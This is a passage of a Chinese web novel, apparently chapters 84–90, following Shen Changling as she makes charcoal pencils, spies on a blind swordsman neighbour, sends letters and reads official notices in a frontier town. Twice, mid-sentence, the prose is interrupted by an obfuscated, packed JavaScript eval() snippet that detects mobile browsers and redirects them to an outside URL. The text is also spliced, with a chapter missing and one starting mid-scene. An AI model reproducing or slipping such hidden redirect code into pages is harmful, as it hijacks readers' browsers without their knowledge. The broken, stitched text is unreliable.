“姑娘,这可使不得!”沈玉松站在远处,急得直跺脚,脸上的表情又是着急又是为难,“瞧瞧这手艺,绝了!,咋能随便教给外人?......” 沈长菱哭笑不得:“这有什么?又不是什么祖传秘方。再说了,你们帮着干活,总得懂些门道才行。” “不成不成,”沈玉岭连连摆手,额头上都急出了汗,“这要是让你爹知道了,还不得说我们占便宜。” 沈玉江也在一旁附和:“是啊是啊,姑娘你还是别说了。” 沈长菱看着三个壮汉一脸为难的样子,忍不住笑出声来。山风吹过,带来远处溪水的潺潺声,树叶沙沙作响,仿佛也在笑话这三个憨厚的汉子。 她也不多说,只是在烧炭时,时不时地“自言自语”: “这火候要掌握好,火太大了炭就成灰了......” “通气口要开在这里,不然烟散不出去......” “等烟变青色就差不多了,这时候得及时封窑......” 沈玉松听得一清二楚,脸上的表情越发纠结。他想捂住耳朵,可又怕错过重要的内容;想走远些,可又担心炭窑出问题。就这样,在煎熬与好奇中来回挣扎。 沈玉岭和沈玉江也是一样的表情,几兄弟你看看我,我看看你,愁得直挠头。 太阳渐渐西斜,山间的空气变得清冷起来。沈长菱拍拍手上的灰尘:“我得回去了。”说完,她转身往山下走去。 看着姑娘远去的背影,沈玉松摸了摸后脑勺,愁眉苦脸地嘟囔:“这下可坏了,咋就全记住了呢?” 沈玉岭和沈玉田面面相觑,困惑地看着自家大哥反常的举动。“大哥,你记住啥了?”沈玉岭试探着问道。 “烧炭的法子,我全都记住了!”沈玉松的声音里充满了绝望,“从选木材到控制火候,甚至连出炭的时机,全都刻在脑子里了。” 这话一出,沈玉田顿时吓得脸色发白,声音都在颤抖:“要是让娘知道了,非打死我们不可!” “我也想忘啊。”沈玉松愁眉苦脸地说,“这些东西就像刻在脑子里似的,越想忘记越记得清楚。晚上我得去找丰年认错。” 沈玉岭走上前,抬手在大哥脑袋上不轻不重地拍了两下:“赶紧给我忘了!要不然咱们都得完蛋。” 回到家里,院子里一派热闹景象。林月正兴致勃勃地看着王师傅他们干活,不时点头称赞。厨房里传来阵阵饭香,孟氏正忙着准备做饭。 沈长菱找来一个木盆,将炭放进清水中。她双手不停搅动,直到水中浮起泡沫。倒掉浑水后,她又加入清水继续搅拌。如此反复几次,木炭渐渐变得柔软,触感细腻。 她小心翼翼地用湿布包裹处理好的木炭,手指轻轻施力挤压,再用小刀将其切成大小均匀的长条。每一个动作都格外认真,生怕弄坏了来之不易的材料。 第八十五章 炭笔 一支支炭笔在她灵巧的手中诞生。沈长菱轻轻摩挲着这些手工制品,嘴角不自觉地扬起一抹笑意。 从空间里取出草纸,她仔细裁剪成大小适中的纸张。借来孟氏的针线,一针一线地将纸张缝制成本子。虽然做工称不上精致,但在她眼中,这就是最完美的作品。 迫不及待地试写几个字,笔触略硬的感觉让她十分满意。看着纸上清晰工整的字迹,她眼眶微微发热,心中涌起一股难以言喻的成就感。终于不用再看那些像墨团一样的字了! “三哥!三哥!”她拿着炭笔和本子,像个得到新玩具的孩子般兴冲冲地找到沈明远。 看她神采飞扬的样子,三个哥哥都好奇地围了过来。沈长菱得意地晃了晃手中的东西:“快看,这是我做的炭笔和本子!” 沈明远接过本子,眼前一亮:“就是你说的那种随身携带的本子?”他仔细打量着,手指轻轻抚过纸张,“要是做得再小些,挂在腰间岂不是更方便?” “对啊!能做多大就干多大。”沈长菱笑着说,“而且重量轻,携带方便。” 沈长河迫不及待地抢过本子:“我也要一个!这比账本方便多了。” 沈明昊清了清嗓子,故作矜持道:“这东西确实不错,我也想要一本。” 沈明文也凑上前来,脸上堆满笑容:“妹妹,给二哥也来一份呗!” 看着哥哥们争相索要的模样,沈长菱心中涌起一股暖意。她痛快地答应下来,准备多做几份。 为了改进炭笔,她找到了卫云昂。“卫大哥,我想给炭笔外面裹一层木料,这样用起来更方便。” 卫云昂略一思索,很快有了主意。他选了质地轻软的雪松木,将木材对半切开,小心地涂上猪皮胶,再将炭芯夹在中间。 看着卫云昂熟练的手法,沈长菱不禁感叹:“真厉害!这么快就做出来了。” 卫云昂微微一笑:“小事一桩。”他的动作行云流水,一支支木质炭笔很快就完工了。 想到他是宁家后人,沈长菱心中突然有些愧疚。让这样的能工巧匠做这种小玩意儿,是不是有些大材小用了? 她把本子和笔分发给每个人,又特意找到沈丰德。“大伯,您看!”她认真地写下几个字,“我用这个写字多好看,之前是笔不对路子。” 沈丰德皱眉端详着纸上的字迹,神情严肃:“这真是你搞的??” 沈长菱立刻又写了两个大字作为证明:“我可不搞那古板的玩意儿,您就别逼我练毛笔字了吧?” “罢了罢了。”沈丰德摆摆手,“你那毛笔字确实看着伤眼。这个倒是清楚多了。” 有了趁手的工具,沈长菱开始专心写种植总结。这次的内容比给永城的那份更加详尽,她将所有经验和心得都仔细记录下来。 夜深人静,正当她沉浸在写作中时,突然察觉到异样。灵识捕捉到两个黑影悄无声息地翻进了隔壁院子。 那两个黑衣人全身裹得严实,只露出一双冰冷的眼睛。月光下,他们手中的刀泛着森森寒光。沈长菱不由得屏住呼吸,心跳加速。 隔壁住的到底是什么人?为什么会有人半夜来寻仇? 就在黑衣人即将靠近房门的瞬间,一道人影如鬼魅般闪出。银光乍现,快得让人难以捕捉。两个黑衣人甚至来不及反应,就已经倒在地上,眉心各插着一枚暗器。 沈长菱倒吸一口凉气。那人的速度快得惊人,就连她引以为傲的灵识都没能完全捕捉到动作轨迹。 “谁在那里?”那人突然转头看向她这边,空洞的双眼仿佛能穿透黑暗。 沈长菱心头一震,迅速收回灵识。那人竟然是个瞎子!虽然双目失明,但能一击毙命,显然身手不凡,感知更是敏锐得可怕。 这就是她的神秘邻居吗? 按捺不住好奇心,沈长菱小心翼翼地又探出灵识,想要一探究竟。 灵识刚探出去,还未看清隔壁院落的情形,晃眼间,一抹寒芒划破了夜空,沈长菱的触角便被斩断。“这人的感知竟如此敏锐?” 那失明大叔突然偏头,仿佛察觉到什么,又是一道银光袭来。寒芒在夜色中划出一道优美的弧线,直取她的灵识。 “暗器玩得挺溜啊。”沈长菱咬牙,眼中闪过不服输的光芒,“看谁耗得过谁!”她的手指无意识地敲击着窗棂,发出轻微的响动。 第三次探查,院中空无一人。她仔细打量着这处院落,三间房屋排列整齐。除了卧室和厨房,还有一间堆放杂物的屋子。屋内陈设简单,处处透着独居者的气息。灶台上的炊具还带着余温,显然主人刚刚离开不久。 正想着,那人回来了。只见他眉头紧锁,手中暗器再次朝她飞来。 “阁下既然兴致这般浓厚,不如现身一叙?”低沉的声音在夜色中回荡,带着几分调侃的意味。 沈长菱换了个方向继续窥探,但对方显然已失去耐心。无论从哪个角度探查,迎接她的都是呼啸而来的暗器。寒光闪烁间,她感受到对方真气的凌厉。 “算了,不跟你玩了。”她翻了个白眼,躺下准备睡觉。被子里还带着暖意,让她忍不住蜷缩起身子。这人的感知能力确实出乎意料,倒是个有意思的邻居。 孟西北站在寒风中的院子里,全神贯备地等待着那个鬼鬼祟祟的“访客”再次出现。殊不知,始作俑者早已进入梦乡,发出均匀的呼吸声。 次日清晨,王师傅等人便在院中忙活起来,砖瓦相击发出清脆的响声。孟氏也早早起床,裹紧衣服抵御寒风,冷得直打寒颤,匆匆收拾了把脸,便开始烧水做饭。 水缸里的水结了一层薄冰,孟氏用木勺打碎冰层,舀水倒进锅里。炉火渐渐旺盛,水汽升腾,驱散了几分清晨的寒意。 等其他人起床时,热水已经备好。香喷喷的早饭摆上桌,蒸汽袅袅上升,勾人食欲。 “我今天要进城寄信。”沈长菱将在寒陵府衙答应秦林的事情娓娓道来,筷子有一下没一下地戳着碗里的菜。 “寄信?”林月惊呼,一拍脑门,“糟了!突然意识到已经好些天没给家里捎信了!”她的声音里带着几分懊恼。 沈丰年听罢,想到四个大舅哥的威严,连忙扒完碗里的饭:“我这就去写,让阿菱一起寄回去。”他的动作显得有些慌乱,差点被饭粒呛到。 “我也得买些东西给外祖母舅舅他们。”沈长菱说道,目光望向窗外,思索着该买些什么礼物。 沈长河点头:“外祖父他们肯定担心得很。”他的语气中带着几分思念。 沈丰年写完信递给女儿,目光落在马棚的方向:“家里那头老骡子最近累得不轻,你那匹乌骓马整天就知道吃,都胖了!今天让它拉车,换骡子休息。” 第八十六章 进城 “呦,前几天还心肝宝贝的叫着,今天就舍得让它干活了?”沈长菱打趣道。 沈丰年瞥了眼马棚,语气中带着几分埋怨:“白疼它这么多天!忘恩负义的东西。” “那要不要我找秦林给你要个金马?”沈长菱笑道,想起空间里那匹寂寞的金马。阳光透过窗棂,在她脸上投下斑驳的光影。 “真的假的?你可别骗爹!”沈丰年的眼睛一亮,像个得到糖果的孩子。 “当然是真的。”沈长菱笑着点头,看着父亲孩子气的模样,心中涌起一股暖意。 沈丰年喜上眉梢:“那我就等着闺女好好孝敬我喽!”说完,他兴冲冲地带着前来请罪的沈玉松几兄弟去村里借车拉砖。 清晨的阳光洒在村道上,沈丰德赶着骡车,载着沈长菱、林月和孟氏进城。骡车在凹凸不平的道路上颠簸,发出吱呀吱呀的声响。路过村中时,不少村民指指点点,窃窃私语。 经过其他沈氏族人家门口,见他们都在收拾东西,打个招呼便继续前行。晨风中飘来阵阵炊烟,混合着泥土的芬芳。 还未到村口,沈长菱就看到了昨夜那个失明大叔。他手持树枝,步履蹒跚,不时咳嗽几声,佝偻的身影在晨光中显得格外孤寂。几个顽童围着他嬉笑打闹,有人做鬼脸,有人抢他的拐杖,甚至将他推倒在地。 泥土沾染了他的衣襟,但那人始终面色平静,仿佛**以为常。他缓慢地爬起来,拍打着衣服上的尘土,动作笨拙而迟缓。 沈长菱眯起眼睛,目光如炬。昨夜那般矫健的身手,今日却被几个孩童欺负?这人怕是在演戏。 边关的村子大多如此,不识字的人比比皆是,连自己的名字都写不出来。但他们有着自己独特的生存法则——谁的拳头硬,谁就是道理。 林月的眼中迸发出异样的光彩。她的手指无意识地摩挲着腰间的布料,嘴角勾起一抹跃跃欲试的笑意。“这地方太合我心意了!不用讲究那些繁文缛节,看谁不顺眼直接动手就是了。” 坐在车辕上的沈丰德听到这话,眉心不自觉地皱起。作为一个读书人,他望着远处灰蒙蒙的天际,手中的书卷被握得更紧了些。这样一个弱肉强食的地方,究竟该如何生存? “得找个地方安置骡车。”沈丰德环顾四周,很快发现了一处临时看管马车的地方。他从腰间摸出十文钱,递给看守的老汉。 孟氏整理着车上的行李,忽然想起什么似的问道:“你待会儿要去哪?” “我得去趟书铺,瞅瞅能不能找点营生。”沈丰德说着,从怀中取出一封信递给沈长菱,“你伯母家的信,一并寄回去吧。” “包在我身上!”沈长菱一把接过信,眼睛亮晶晶的。 孟氏犹豫了片刻,从腰间摸出二两银子:“这些钱你拿着,路上也好应付。” “不用了伯母!”沈长菱笑嘻嘻地从怀里掏出十两银子,在众人面前晃了晃,“我这儿有呢!” 孟氏瞪大了眼睛,一时说不出话来:“这么多?你哪来的?” “这可是我的小金库。”沈长菱得意地扬了扬下巴。 “凭什么就我没有?”林月立刻不满地嚷嚷起来,眼睛直勾勾地盯着那银子,“我也要私房钱!” 孟氏连忙从荷包里掏出几串铜钱安抚她:“给给给,都给你。” 沈丰德无奈地摇头:“这丫头鬼主意多着呢,咱们别问那么多了。”他转向沈长菱,语气严肃了几分,“记住,办完事就在这儿等着,别乱跑。” “知道啦!”沈长菱应了一声,转身就跑得没影了。 街上人来人往,叫卖声此起彼伏。沈长菱穿梭在人群中,很快就看见了熟悉的身影——虎子正站在街角揽客。 “虎子!”她朝着少年挥手。 虎子眼睛一亮,三步并作两步跑了过来:“沈姐姐!这么快又见面了!”他的脸上沾着些许灰尘,但掩不住那份欣喜。 “有空带我转转吗?”沈长菱笑着问。 “当然有!”虎子搓了搓手,有些不好意思地说,“不过这工钱......” 沈长菱认真思索了一下:“你平常怎么收费?” “四十文一天,”虎子飞快地说,又补充道,“看在咱们熟悉,给你便宜两文!” 沈长菱暗自好笑,这便宜也太少了点。不过看在孩子不容易的份上,她也没多说什么:“成交!” 两人沿着街道慢慢走着,沈长菱一边打量着街边的店铺,一边随口问道:“最近有去玉州的镖行吗?” “永安镖行最近要往南边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595957|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送皮货,”虎子挠了挠头,“不过具体路线我也不清楚。” “那咱们去问问。” 永安镖行虽然开在偏僻的小巷,但那块漆黑发亮的招牌格外醒目。虎子到了门口就躲在沈长菱身后,像是做错事的孩子。 一个魁梧汉子大步走来,一把揪住了虎子的衣领:“臭小子又来偷师?” 虎子连忙指着沈长菱:“我是带客人来的!” 汉子的态度立刻来了个一百八十度大转弯:“原来是客人,快请进!” 沈长菱诧异地看了眼虎子,汉子解释道:“这小子总想学功夫,没少偷偷摸进来。” “我要杀蛮子,拿人头换钱!”虎子涨红了脸,声音里带着几分倔强。 汉子嗤笑一声:“你这小身板也太瘦了吧?”他转而又问沈长菱,“姑娘要寄什么?” “两封信,去玉州。” “五两银子。”汉子竖起五根手指,理直气壮。 沈长菱不慌不忙地说:“二两,多一分不给。”她的目光落在院子里整装待发的镖队上,“这年头,能出门送货的镖行本就不多,但你们反正要走这一趟,不如大家都赚点。” 汉子眯起眼睛打量着她,似乎在权衡利弊。片刻后,他咧嘴一笑:“行吧,权当混个脸熟。我叫小松,以后有事尽管找我。” 沈长菱这才露出笑容,仔细交代了收信人的地址。办完事后,她带着虎子准备去街上买些土特产寄回家。 刚到热闹的街道,就听见一阵喧哗。衙役们正在开道:“让一让!” 人群纷纷向两边退去,露出一条通道。沈长菱站在人群中,看见几个衙役押着一个蓬头垢面的男子走过。那人浑身是伤,衣衫褴褛,却依然昂着头,眼神倔强。 “又是个不安分的。”旁边有人小声议论。 “听说是偷了富户家的东西,被当场抓住了。” “这下有苦头吃了。” 虎子拽了拽沈长菱的袖子:“沈姐姐,咱们去别处看看吧。” 沈长菱点点头,跟着虎子转入另一条街。这里的店铺鳞次栉比,香味四溢。她看见一家糕点铺子,想起家里的弟弟妹妹,便走了进去。 “这个桂花糕怎么卖?”她指着柜台上摆着的糕点问。 第八十七章 告示 “二十文一斤。”店家笑眯眯地说。 正当沈长菱准备买些时,街上突然传来一阵骚动。她探头望去,只见一群人簇拥着什么人走过,气势汹汹。 “怎么回事?”她问虎子。 虎子踮着脚张望:“好像是官爷在贴告示。” 沈长菱买好糕点后,裹紧了身上的斗篷,跟着熙攘的人群往边上退了几步。远处,一名身着灰色官服的衙役正大步流星地朝告示栏走来,手中攥着几张崭新的告示。 人群自觉分开一条道,空气中弥漫着一股难言的紧张感。衙役面无表情地将三张告示一气呵成贴在告示栏上,转身离去时靴子在地上踏出沉闷的声响。 “快看快看!新告示!”人群蜂拥而上。 “这画的什么玩意儿?”一个满脸皱纹的老汉挤到前排,眯着眼睛端详,“谁能看懂给说说?” 沈长菱站在人群后方,目光落在告示上那些简单的图画上。这边关的告示倒是别出心裁,每张都配了幅简笔画。第一张画着个双手被缚、跪地的人影,第二张是只鸡和一棵树,最后一张则画着朵不知名的花。 她不动声色地挤到前排,目光在文字间快速扫过。随着内容逐渐明晰,她的瞳孔微微收缩,一股寒意从脊背窜上来。 “靖王谋逆?”她下意识地低语出声。 “沈姐姐,上面写了什么?”身旁的虎子仰着小脸,一双圆溜溜的眼睛里满是好奇。 周围的人也都竖起耳朵。沈长菱深吸一口气,嗓音清晰地解读道:“第一张说的是靖王司马景光谋反,已被查实。参与谋反的人全族诛灭,靖王被贬为庶人,终身圈禁。” “就这么个玩意儿也敢**?”一个满脸横肉的大汉指着画上的小人啐了一口,唾沫在地上溅开一朵暗色的花。 “可不是,这些当官的就是吃饱了撑的!”旁边一个挑着担子的瘦小汉子附和,“咱们老百姓天天吃糠咽菜都不敢说个不字,他倒好,直接**!” 人群骚动起来,七嘴八舌地议论。一个佝偻着背的老妇人颤巍巍地拉住沈长菱的袖子:“姑娘,另外两张说什么呢?” 沈长菱指着第二张告示:“这是说寒陵那边闹瘟疫,现在找到了药方,得准备不少鸡内金和黄柏药材。有这些药材的可以去府衙卖。” “鸡内金?那是啥?”人群中有人问。 “就是鸡胃里那层黄膜。”一个挑着药材的小贩插嘴,“平常都是扔掉的,谁知道还能当药材。” 沈长菱点点头:“告示上说想知道详情可以去府衙问。” 最后那张告示上的花儿画得实在抽象,沈长菱眯着眼看了半天:“这是在找会养兰花的花匠,能治好病株的赏五十两银子。” “切!”人群顿时兴致缺缺,三三两两散开了。只有几个老农还在讨论着鸡内金的事。 虎子崇拜地看着沈长菱:“沈姐姐真厉害,认识这么多汉字!” 沈长菱笑着摸摸他的头:“认字有什么厉害的。”她的目光不经意间又扫过第一张告示,心头隐隐有些不安。 虎子左右张望了一下,神秘兮兮地凑近她:“告诉你个秘密。虽然大家都说读书没用,可你看那些有钱人、当官的,哪个不识字?我偷偷跟着小松叔学了记账呢!” 沈长菱心中一动,这孩子年纪不大,眼光倒是毒辣。不过她还是板起脸:“偷学可不对,你得去跟小松叔道歉。” 虎子耷拉着脑袋:“知道了...” “这样吧,以后我教你读书写字,怎么样?” “真的?”虎子眼睛一亮,拉着沈长菱就往集市跑,“姐姐,我带你去买特产!” 集市上人声鼎沸,各色摊位排得密密麻麻。卖糖葫芦的小贩吆喝声,卖布的商贩讨价还价声,还有各种叫卖声此起彼伏。空气中飘荡着各种气味:烤肉的香气,中药的苦涩,还有新鲜蔬果的清香。 沈长菱看着那些人参、鹿茸的价格,不由咋舌。这要是都买了寄回去,只怕外祖母要担心死。她的手指无意识地摩挲着钱袋,心里盘算着该买些什么。 最后她只买了些榛子和蘑菇干,正发愁数量太少,虎子忽然提醒:“要不要买点冻疮膏?咱们这的冻疮膏最管用!” 沈长菱眼前一亮,他们又去了仁和医馆,里面挤满了打听鸡内金的百姓。一位白发苍苍的老大夫正坐在诊桌后,耐心解释着制作方法。 “要把鸡胃里的黄膜取出来,洗净晾干,但不能见阳光...”老大夫的声音温和却带着几分疲惫,“制作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595958|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过程很复杂,一不小心就会坏掉...” 听得众人连连摇头,有人嘟囔着“这也太麻烦了”,陆续离开。 沈长菱站在门口,看着这熙熙攘攘的人群,若有所思。她的目光掠过街角那些衣衫褴褛的乞丐,又想起告示上关于靖王的内容。 沈长菱轻轻摇头,药铺里的顾客渐渐少了,她这才迈步走了进去。 “吱呀”一声,木门被推开,浓郁的药材气息扑面而来。 “姑娘家家的,在门口站了这么久,该不会是害了什么病吧?”老大夫一边整理着药柜,一边漫不经心地问道。他的眼角余光瞥向门口的少女,苍老的面容上带着几分关切。 沈长菱抿了抿有些发干的嘴唇:“大夫,我要买些冻疮膏。” “要多少?”老大夫放下手中的药包,转身面向她。 “十罐。” 这个数字让老大夫手一抖,差点把刚拿起的药罐摔在地上。他仔细打量着眼前的姑娘:“十罐?姑娘,你可知道一罐能用两年?” 沈长菱脸上露出温和的笑容:“家里人多,不光是我一个人用。”她的目光在药铺内转了一圈,“而且这个冬天格外冷,多备些总是好的。” 老大夫看着眼前这个说话爽快的姑娘,不由得也露出了笑容:“一罐二百文,一共二两银子。” 沈长菱从荷包里数出银子,将药罐分成两份。这一份得留着给族人用,他们流放的这个地方天气寒冷;另一份要寄给外祖母家,老人家年纪大了,更要防着些。 “虎子,”她唤来一直在门外等候的小童,“这些你带回去。” 虎子才十岁出头,手背上已经长满了冻疮。他接过包裹,眼巴巴地看着沈长菱:“沈姐姐要走了吗?” 沈长菱又从怀里掏出四十文钱,塞进虎子手里:“这是你今天的工钱,记得擦药。” “这太贵重了!”虎子连连摆手,想要推辞。 “给你就拿着。”沈长菱看着虎子手背上的冻疮,心疼地轻轻弹了下他的脑门,“别总是用冷水洗手。” 送走虎子,沈长菱整理了下衣襟,转身朝府衙的方向走去。公告栏上的第三条消息让她心动不已——五十两银子的赏金,足够让她回本还有富余。 第八十九章 救治兰花【二】 “等等!”林夫人突然打断她的话,“姑娘既然这么懂行,不如这样,这盆花就交给你照料如何?若能救活,必有重谢。” 含嬷嬷闻言大惊,连忙上前一步:“夫人三思啊!这人来历不明,万一是骗子......”她话未说完,就见沈长菱嘴角微扬。 “好啊,我不但能救活它,还可以教夫人如何照料。”沈长菱的语气中带着几分自信,丝毫不为含嬷嬷的质疑所动。 “这再好不过!”林夫人眼前一亮,已经在心中盘算起来。 “夫人不可!”含嬷嬷急得直跺脚,面色焦急,“这花可是老爷......” 话音未落,含嬷嬷突然抬手朝自己脸上狠狠扇去。“啪”的一声脆响在院中回荡,她的脸颊立刻红肿起来。在场的人都被这突如其来的一幕惊呆了。 “我...我这是怎么了?”含嬷嬷惊恐地看着自己的手,可下一秒,她的手又不受控制地抽在了自己脸上。 “嬷嬷这是做什么?”林夫人吓了一跳,连连后退。 含嬷嬷却像着了魔似的,一边哭喊着“我控制不住”,一边不停地扇自己耳光。几个丫鬟慌忙上前想要拦住她,却被她躲开。 “救命啊!我不知道怎么了!”含嬷嬷的哭喊声中带着真切的恐惧,她的双手仿佛不再属于自己,只知道机械地抽打着自己的脸。 沈长菱站在一旁,眼中闪过一道冷芒。这含嬷嬷平日里作威作福,没少欺负下人,如今这般失态,倒也是报应不爽。 “拉出去!快拉出去!”林夫人被这一幕吓得不轻,连声吩咐道。 几个小丫鬟手忙脚乱地架住含嬷嬷,把她往外拖。一路上,含嬷嬷的哭喊声和巴掌声不绝于耳,听得人心惊肉跳。 待含嬷嬷被拖走,林夫人气得把面前的茶几掀翻:“去把老爷叫来!这府里怎么回事?一个个都疯了不成?” 桂花很快回来禀报:“大人说衙门那边事情特别多,暂时走不开......” “忙?他是躲着我吧!”林夫人更加恼怒,“这府里的事他从来不管,现在出了这种事,他倒好,躲得比谁都快!” 沈长菱适时开口:“我刚从前衙过来,确实很忙,门口排着长队等着换钱呢。” 听她这么一说,林夫人的怒气稍减。沉默片刻后,吩咐人取了二十两银子给沈长菱:“你既答应救活这花,可要说到做到。” 沈长菱接过银子,笑意盈盈:“多谢夫人,明日我就来。这花虽然现在看着可怜,但只要用对了方法,定能恢复往日风采。” 离开后院,她直奔前衙找到了沈丰德。看着大伯忙碌的身影,她心中一动。大伯虽然性子耿直,但为人可靠,或许送信的事可以托付给他。 “大伯?” 沈丰德闻声抬头,手中的毛笔顿了顿,眼中闪过意外:“阿菱?你怎么来了?” 沈长菱快步走近,举起手中的信晃了晃:“我来送信啊!”她的眼睛弯成了月牙,声音里带着藏不住的雀跃。 “拿来。”沈丰德放下笔,伸手示意。 沈长菱将信递过去时,目光不经意扫过案桌上堆叠的文书。密密麻麻的字迹映入眼帘,她不禁蹙眉:“大伯,这些都是要抄的吗?” “嗯。”沈丰德将信收进袖中,抬眼看她额头已有细密的汗珠,关切地问:“吃过饭没有?” 沈长菱这才想起自己匆匆出门,还没来得及吃早饭。她摸了摸肚子,不好意思地摇头:“还没呢。” “先吃个鸡蛋垫垫。”沈丰德从案边的食盒里取出一个煮鸡蛋递给她,“等会儿出去吃了饭再去找你娘她们。等你们购物结束,先回家歇会儿吧,我今天怕是要晚些。” 沈长菱捧着温热的鸡蛋,心头涌上一股暖意。她小口咬着蛋白,目光在衙门内转了一圈:“大伯,您怎么在府衙做事啊?” 沈丰德叹了口气,放下手中的毛笔:“本想去书铺接些抄书的活计,没成想这里文风不盛,书铺都不缺人手。倒是遇到个书铺老板,看我字写得不错,就介绍我来府衙帮忙。” “那工钱如何?”沈长菱忍不住问道,随即又觉得失言,急忙补充,“我是担心大伯您太辛苦。” 沈丰德笑着摇摇头:“比书铺好些。你别担心,等过段时日,说不定还能谋个更好的差事。” 一旁的同僚听到他们的对话,插嘴道:“沈兄弟的字确实不错,大人都夸过几次了。” 沈长菱眼睛一亮:“真的吗?那太好了!”她咬完最后一口鸡蛋,拍了拍手上的碎屑,“大伯,我得先去看看伯母那边什么情况。要是东西多的话我们先回去,再来接您!” 看着她蹦蹦跳跳离开的背影,沈丰德嘴角微扬,眼中满是宠溺。 “你女儿?”同僚好奇地问道。 “侄女,亲的。”沈丰德语气里带着几分自豪。 “羡慕啊!”同僚感叹,“我家这群熊孩子真是够闹腾,整天气我。我兄弟家倒有个闺女,可惜胆小不爱出门,跟我也不亲近。” 沈丰德笑而不语,低头继续誊抄公文,心里却美滋滋的。 沈长菱出了府衙,在街边寻了家面馆。刚坐下,浓郁的香气就勾得她肚子咕咕直叫。 “老板,来碗牛肉面!”她朝厨房喊道。 不一会儿,一碗热气腾腾的面就端了上来。面条筋道,肉臊子香辣可口,汤汁浓郁。她一边吃一边直冒汗,却停不下来。 “小姑娘,要不要再来碗?”老板见她吃得香,笑呵呵地问道。 沈长菱擦了擦额头的汗,不好意思地摇头:“不了不了,我还要去找人呢。”< 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一旁的林月眼巴巴地看着银子,沈长菱朝她使了个眼色,示意等会儿再说。 回到家后,趁着大家都忙着卸货,沈长菱偷偷塞给林月一两银子:“娘的零花钱。” 林月乐呵呵地攥着银子跑回屋里藏起来,脸上的笑容怎么也藏不住。 沈长菱看着娘亲欢喜的样子,心里也跟着高兴。她牵着马往府衙方向走去,准备接沈丰德回家。 刚到府衙门口,就看到沈丰德正和户曹说话。她不好打扰,就在一旁等着。 等户曹走后,沈丰德才过来:“你怎么特意跑来接我?” “哥哥们都骑不了我这马,只能我来啦!”沈长菱拍了拍马背,“大伯,上来吧!” 两人骑着一匹马慢悠悠往回走。沈丰德虽然是第一次骑马,但学得很快,没多久就能稳稳当当地坐在马上。 “大伯,您跟户曹说什么呢?”沈长菱忍不住问道。 “他说我若是想留在衙门做事,可以试着考个吏员。”沈丰德语气平淡,但沈长菱听出了几分向往。 “那太好了!”她兴奋地说,“大伯一定能考上的!” 沈丰德笑着摸了摸她的头:“慢慢来吧,先把当下的事做好。” 进了村,沈丰德说有事要处理就先走了。沈长菱刚要回家,就遇到了疲惫不堪的沈丰年。 “闺女啊,快扶爹回去歇会儿!”沈丰年脸上沾满了灰尘,看起来格外疲惫。 沈长菱连忙搀扶着父亲往家走,心疼地问:“爹,今天又干活去了?” “嗯,帮村里打井。”沈丰年揉了揉酸痛的肩膀,“好在快完工了。” 第九十章 打井 沈丰年无力地摆摆手,“累死我了!比咱家那头骡子还要辛苦!”说着,他把双手举到女儿面前,“你看看,都起泡了。” 沈长菱看着父亲手上密密麻麻的水泡,心疼地叹了口气。她转头看向不远处的沈玉松三兄弟,只见他们也是一副筋疲力尽的模样,衣服上沾满了灰尘。 “爹,你这样子,我都分不清到底谁是小孩子了。”沈长菱摇头道,“怎么不多歇会儿再回来?” “牛车刚还给人家,我是一步都不想走了。”沈丰年耍赖般地说道,眼睛突然一亮,“丫头,你得把我背回去!” 沈长菱眼中闪过一丝狡黠,“行啊,不过等会儿可别嫌丢人。”她话音未落,就一把将沈丰年提起来,夹在腋下,动作干净利落得让人瞠目结舌。 一旁的沈玉松三兄弟看得目瞪口呆,下巴都快掉到地上了。他们虽然知道她力气大,但没想到能大到这种程度。 “三位叔叔,要不要我也带你们一程?”沈长菱笑眯眯地问道,眼中带着几分调皮。 三兄弟连连摆手,脸上写满了惊恐,“不用不用!”这种待遇,他们可消受不起。就算再累,也得自己走回去。 沈丰年被女儿夹在腋下,一点都不觉得尴尬,反而兴致勃勃地跟三兄弟说着话,“走吧走吧,回家吃饭去!吃完饭咱们还得商量挣钱的事儿呢!” 听到“挣钱”二字,三人立刻来了精神,原本想离开的念头瞬间烟消云散,紧紧跟在后面。 乌骓马亦步亦趋地跟在沈长菱身后,时不时打个响鼻。路过的村民纷纷侧目,有人掩嘴偷笑,有人啧啧称奇,更有人摇头感叹这沈家丫头实在太不像话。 刚进家门,林月就迎了出来。看到这幅场景,她给了沈丰年一个白眼,“你这是又犯什么毛病?非要让长菱背着你?也不怕被人笑话。” 沈丰年赶紧从沈长菱腋下钻出来,可怜巴巴地朝林月伸出双手,“媳妇儿你看,都起泡了。”他的手掌上满是水泡,有些已经破了,渗出淡红色的液体。 林月看着他手上的伤,语气顿时软了下来,“来,我给你呼呼。”说着,她轻轻握住丈夫的手,小心翼翼地吹着气。 沈长菱看不下去这腻歪的场面,赶紧扭过头去。沈玉松三兄弟更是尴尬得不行,找了各种借口溜去帮王师傅的忙。 院子里飘来阵阵饭菜香。孟氏今天下了血本,把存着的肉都拿出来炒了,又炖了白菜萝卜,蒸了两大锅的杂粮窝窝头。虽然都是些家常菜,但香味四溢,让人食指大动。 王师傅父子三人围坐在桌前,吃得津津有味,脸上满是满足。这些日子,他们一直住在沈家,帮着修缮房屋。虽说是收了工钱的,但孟氏还是把他们当成贵客般招待。 沈丰德刚从外面回来,孟氏就递上一碗菜和窝窝头,“快吃吧,饿坏了吧。” 沈明昊兄弟三个围到父亲身边,急切地问道,“爹,府衙那边怎么样?” 